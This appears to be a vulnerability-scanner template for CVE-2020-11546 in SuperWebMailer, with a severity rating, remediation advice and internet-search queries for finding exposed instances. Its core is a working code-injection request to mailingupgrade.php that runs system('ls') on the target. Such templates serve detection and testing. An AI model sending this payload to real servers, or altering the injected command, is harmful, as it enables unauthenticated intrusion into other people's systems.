SuperWebmailer 7.21.0.01526 - Remote Code Execution

id: CVE-2020-11546

info:
  name: SuperWebmailer 7.21.0.01526 - Remote Code Execution
  author: Official_BlackHat13
  severity: critical
  description: SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to the latest version of SuperWebmailer to mitigate this vulnerability.
  reference:
    - https://github.com/Official-BlackHat13/CVE-2020-11546/
    - https://blog.to.com/advisory-superwebmailer-cve-2020-11546/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11546
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11546
    cwe-id: CWE-94
    epss-score: 0.3173
    epss-percentile: 0.98082
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2020,rce,superwebmailer,vkev,vuln

http:
  - raw:
      - |
        POST /mailingupgrade.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ajax_ccea.php
          - ajax_getemailingactions.php
          - ajax_getemailtemplates.php
        condition: and

      - type: status
        status:
          - 200
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